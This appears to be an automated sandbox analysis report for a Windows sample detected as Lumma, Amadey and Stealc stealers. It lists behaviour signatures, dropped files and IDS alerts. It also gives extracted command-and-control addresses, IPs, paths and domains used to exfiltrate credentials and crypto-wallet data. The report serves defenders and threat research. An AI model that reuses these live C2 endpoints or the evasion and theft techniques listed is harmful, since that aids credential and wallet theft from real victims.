Windows Analysis Report
file.exe

Overview

General Information

Sample name: file.exe
Analysis ID: 1538460
MD5: cb09d471f6622d52387938a9cdac08e6
SHA1: 2e8d9ac0c80bb578498b4e73b12fe015e7eb4649
SHA256: 574b0d7d27be586fa59b5079e437668480f1fbc25639248f073d835c7bcf37b3
Tags: exeuser-Bitsight
Infos:

Detection

LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Antivirus / Scanner detection for submitted sample
Antivirus detection for URL or domain
Antivirus detection for dropped file
Detected unpacking (changes PE section rights)
Found malware configuration
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Suricata IDS alerts for network traffic
Yara detected Amadeys stealer DLL
Yara detected Credential Flusher
Yara detected LummaC Stealer
Yara detected Powershell download and execute
Yara detected Stealc
AI detected suspicious sample
Binary is likely a compiled AutoIt script file
C2 URLs / IPs found in malware configuration
Creates multiple autostart registry keys
Found API chain indicative of sandbox detection
Found many strings related to Crypto-Wallets (likely being stolen)
Hides threads from debuggers
LummaC encrypted strings found
Machine Learning detection for dropped file
Machine Learning detection for sample
PE file contains section with special chars
Potentially malicious time measurement code found
Query firmware table information (likely to detect VMs)
Sigma detected: New RUN Key Pointing to Suspicious Folder
Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)
Tries to detect sandboxes / dynamic malware analysis system (registry check)
Tries to detect sandboxes and other dynamic analysis tools (window names)
Tries to detect virtualization through RDTSC time measurements
Tries to evade debugger and weak emulator (self modifying code)
Tries to harvest and steal browser information (history, passwords, etc)
Tries to harvest and steal ftp login credentials
Tries to steal Crypto Currency Wallets
AV process strings found (often used to terminate AV products)
Checks for debuggers (devices)
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Checks if the current process is being debugged
Connects to many different domains
Contains capabilities to detect virtual machines
Contains functionality for execution timing, often used to detect debuggers
Contains functionality for read data from the clipboard
Contains functionality to block mouse and keyboard input (often used to hinder debugging)
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to check if a window is minimized (may be used to check if an application is visible)
Contains functionality to communicate with device drivers
Contains functionality to dynamically determine API calls
Contains functionality to execute programs as a different user
Contains functionality to launch a process as a different user
Contains functionality to launch a program with higher privileges
Contains functionality to modify clipboard data
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Contains functionality to query CPU information (cpuid)
Contains functionality to read the PEB
Contains functionality to read the clipboard data
Contains functionality to retrieve information about pressed keystrokes
Contains functionality to shutdown / reboot the system
Contains functionality to simulate keystroke presses
Contains functionality to simulate mouse events
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Creates job files (autostart)
Detected potential crypto function
Downloads executable code via HTTP
Drops PE files
Enables debug privileges
Entry point lies outside standard sections
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
OS version to string mapping found (often used in BOTs)
PE file contains an invalid checksum
PE file contains sections with non-standard names
Potential key logger detected (key state polling based)
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Searches for user specific document files
Shows file infection / information gathering behavior (enumerates multiple directory for files)
Sigma detected: CurrentVersion Autorun Keys Modification
Suricata IDS alerts with low severity for network traffic
Uses 32bit PE files
Uses code obfuscation techniques (call, push, ret)
Uses taskkill to terminate processes
Yara detected Credential Stealer

Classification

Name Description Attribution Blogpost URLs Link
Lumma Stealer, LummaC2 Stealer Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma
Name Description Attribution Blogpost URLs Link
Amadey Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey
Name Description Attribution Blogpost URLs Link
Stealc Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

AV Detection
barindex
Antivirus / Scanner detection for submitted sample
Source: file.exe Avira: detected
Antivirus detection for URL or domain
Source: http://185.215.113.37 URL Reputation: Label: malware
Antivirus detection for dropped file
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\B9LAVL77AEHW335N4SC7G6A3335WY1I.exe Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1000495001\66c6d84346.exe Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\PNQRGRK1HGQJXXIGW87D2O4ERYK64Y.exe Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\2SGVUOBNN8HUJ5IDUWDR.exe Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\GA69253C3MXNERTO3N2QC0.exe Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1000492001\7617eef03d.exe Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1000496001\768041f87c.exe Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\9ZQAVS2HIFCJRZ8VYRAJ0X35HFUX.exe Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1000494001\572c19a989.exe Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\OCYPTLCO9AJSRPZ2BR0OXVLD.exe Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Found malware configuration
Source: 00000004.00000002.1984616145.0000000000D81000.00000040.00000001.01000000.00000006.sdmp Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 28.2.a4769912c1.exe.ec0000.0.unpack Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}
Source: 9b7d422018.exe.3408.27.memstrmin Malware Configuration Extractor: LummaC {"C2 url": ["licendfilteo.site", "dissapoiznw.store", "spirittunek.store", "bathdoomgaz.store", "mobbipenju.store", "eaglepawnoy.store", "clearancek.site", "studennotediw.store"], "Build id": "4SD0y4--legendaryy"}
Multi AV Scanner detection for dropped file
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe ReversingLabs: Detection: 42%
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe ReversingLabs: Detection: 42%
Source: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe ReversingLabs: Detection: 42%
Source: C:\Users\user\AppData\Local\Temp\1000492001\7617eef03d.exe ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe ReversingLabs: Detection: 42%
Source: C:\Users\user\AppData\Local\Temp\1000494001\572c19a989.exe ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Temp\1000495001\66c6d84346.exe ReversingLabs: Detection: 42%
Source: C:\Users\user\AppData\Local\Temp\1000496001\768041f87c.exe ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Temp\2SGVUOBNN8HUJ5IDUWDR.exe ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Temp\9ZQAVS2HIFCJRZ8VYRAJ0X35HFUX.exe ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Temp\OCYPTLCO9AJSRPZ2BR0OXVLD.exe ReversingLabs: Detection: 47%
Multi AV Scanner detection for submitted file
Source: file.exe Virustotal: Detection: 46% Perma Link
Source: file.exe ReversingLabs: Detection: 42%
AI detected suspicious sample
Source: Submited Sample Integrated Neural Analysis Model: Matched 100.0% probability
Machine Learning detection for dropped file
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\B9LAVL77AEHW335N4SC7G6A3335WY1I.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\TWGY675O6RDQPKG6OE4IM311M9A2JP.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1000495001\66c6d84346.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\PNQRGRK1HGQJXXIGW87D2O4ERYK64Y.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\2SGVUOBNN8HUJ5IDUWDR.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\GA69253C3MXNERTO3N2QC0.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1000492001\7617eef03d.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1000496001\768041f87c.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\9ZQAVS2HIFCJRZ8VYRAJ0X35HFUX.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1000494001\572c19a989.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\OCYPTLCO9AJSRPZ2BR0OXVLD.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Joe Sandbox ML: detected
Machine Learning detection for sample
Source: file.exe Joe Sandbox ML: detected
Uses 32bit PE files
Source: file.exe Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
Source: unknown HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:49741 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:49744 version: TLS 1.2
Source: unknown HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:49759 version: TLS 1.2
Source: unknown HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.4:49767 version: TLS 1.2
Source: unknown HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:49773 version: TLS 1.2
Source: unknown HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:49779 version: TLS 1.2
Source: unknown HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:49780 version: TLS 1.2
Source: unknown HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:49813 version: TLS 1.2
Source: unknown HTTPS traffic detected: 34.149.100.209:443 -> 192.168.2.4:49814 version: TLS 1.2
Source: unknown HTTPS traffic detected: 52.222.236.23:443 -> 192.168.2.4:49815 version: TLS 1.2
Source: unknown HTTPS traffic detected: 34.149.100.209:443 -> 192.168.2.4:49823 version: TLS 1.2
Source: unknown HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:49826 version: TLS 1.2
Source: unknown HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:49825 version: TLS 1.2
Source: unknown HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:49824 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.4:49908 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:49920 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:49926 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:49944 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:49961 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:49974 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.4:49978 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:49989 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.4:49998 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:50001 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:50004 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:50011 version: TLS 1.2
Source: unknown HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50013 version: TLS 1.2
Source: unknown HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50014 version: TLS 1.2
Source: unknown HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50012 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:50023 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:50026 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:50033 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:50045 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:50047 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:50049 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.4:50051 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:50062 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:50073 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:50076 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:50077 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:50104 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:50106 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:50110 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:50111 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.4:50109 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.4:50113 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:50115 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:50116 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:50117 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:50118 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:50120 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:50122 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:50124 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:50127 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.4:50130 version: TLS 1.2
Shows file infection / information gathering behavior (enumerates multiple directory for files)
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Directory queried: number of queries: 1598
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe Code function: 6_2_0021DBBE lstrlenW,GetFileAttributesW,FindFirstFileW,FindClose, 6_2_0021DBBE
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe Code function: 6_2_002268EE FindFirstFileW,FindClose, 6_2_002268EE
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe Code function: 6_2_0022698F FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToSystemTime,FileTimeToSystemTime, 6_2_0022698F
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe Code function: 6_2_0021D076 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose, 6_2_0021D076
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe Code function: 6_2_0021D3A9 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose, 6_2_0021D3A9
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe Code function: 6_2_00229642 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose, 6_2_00229642
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe Code function: 6_2_0022979D SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose, 6_2_0022979D
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe Code function: 6_2_00229B2B FindFirstFileW,Sleep,FindNextFileW,FindClose, 6_2_00229B2B
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe Code function: 6_2_00225C97 FindFirstFileW,FindNextFileW,FindClose, 6_2_00225C97
Source: firefox.exe Memory has grown: Private usage: 1MB later: 215MB

Networking
barindex
Suricata IDS alerts for network traffic
Source: Network traffic Suricata IDS: 2056475 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store) : 192.168.2.4:61576 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2056485 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store) : 192.168.2.4:61906 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2056481 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store) : 192.168.2.4:49535 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2056477 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store) : 192.168.2.4:63543 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2056483 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store) : 192.168.2.4:63985 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2056471 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site) : 192.168.2.4:61015 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2056479 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store) : 192.168.2.4:57459 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2056473 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site) : 192.168.2.4:63944 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49746 -> 185.215.113.37:80
Source: Network traffic Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.4:49834 -> 185.215.113.43:80
Source: Network traffic Suricata IDS: 2056485 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store) : 192.168.2.4:59475 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2056477 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store) : 192.168.2.4:58327 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2056479 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store) : 192.168.2.4:61574 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2056483 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store) : 192.168.2.4:56602 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2056481 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store) : 192.168.2.4:57887 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2056475 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store) : 192.168.2.4:62263 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2056471 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site) : 192.168.2.4:50861 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49906 -> 185.215.113.43:80
Source: Network traffic Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.4:49850
Source: Network traffic Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49942 -> 185.215.113.43:80
Source: Network traffic Suricata IDS: 2056471 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site) : 192.168.2.4:55330 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49947 -> 185.215.113.37:80
Source: Network traffic Suricata IDS: 2056485 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store) : 192.168.2.4:58510 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2056481 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store) : 192.168.2.4:58468 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2056477 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store) : 192.168.2.4:51735 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2056475 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store) : 192.168.2.4:58111 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2056479 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store) : 192.168.2.4:50400 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2056473 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site) : 192.168.2.4:64664 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2056483 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store) : 192.168.2.4:51599 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:50000 -> 185.215.113.43:80
Source: Network traffic Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:50036 -> 185.215.113.43:80
Source: Network traffic Suricata IDS: 2056481 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store) : 192.168.2.4:58462 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2056471 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site) : 192.168.2.4:62639 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2056479 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store) : 192.168.2.4:55866 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2056475 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store) : 192.168.2.4:50724 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2056473 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site) : 192.168.2.4:51151 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:50025 -> 185.215.113.37:80
Source: Network traffic Suricata IDS: 2056477 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store) : 192.168.2.4:49761 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2056485 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store) : 192.168.2.4:50478 -> 1.1.1.1:53
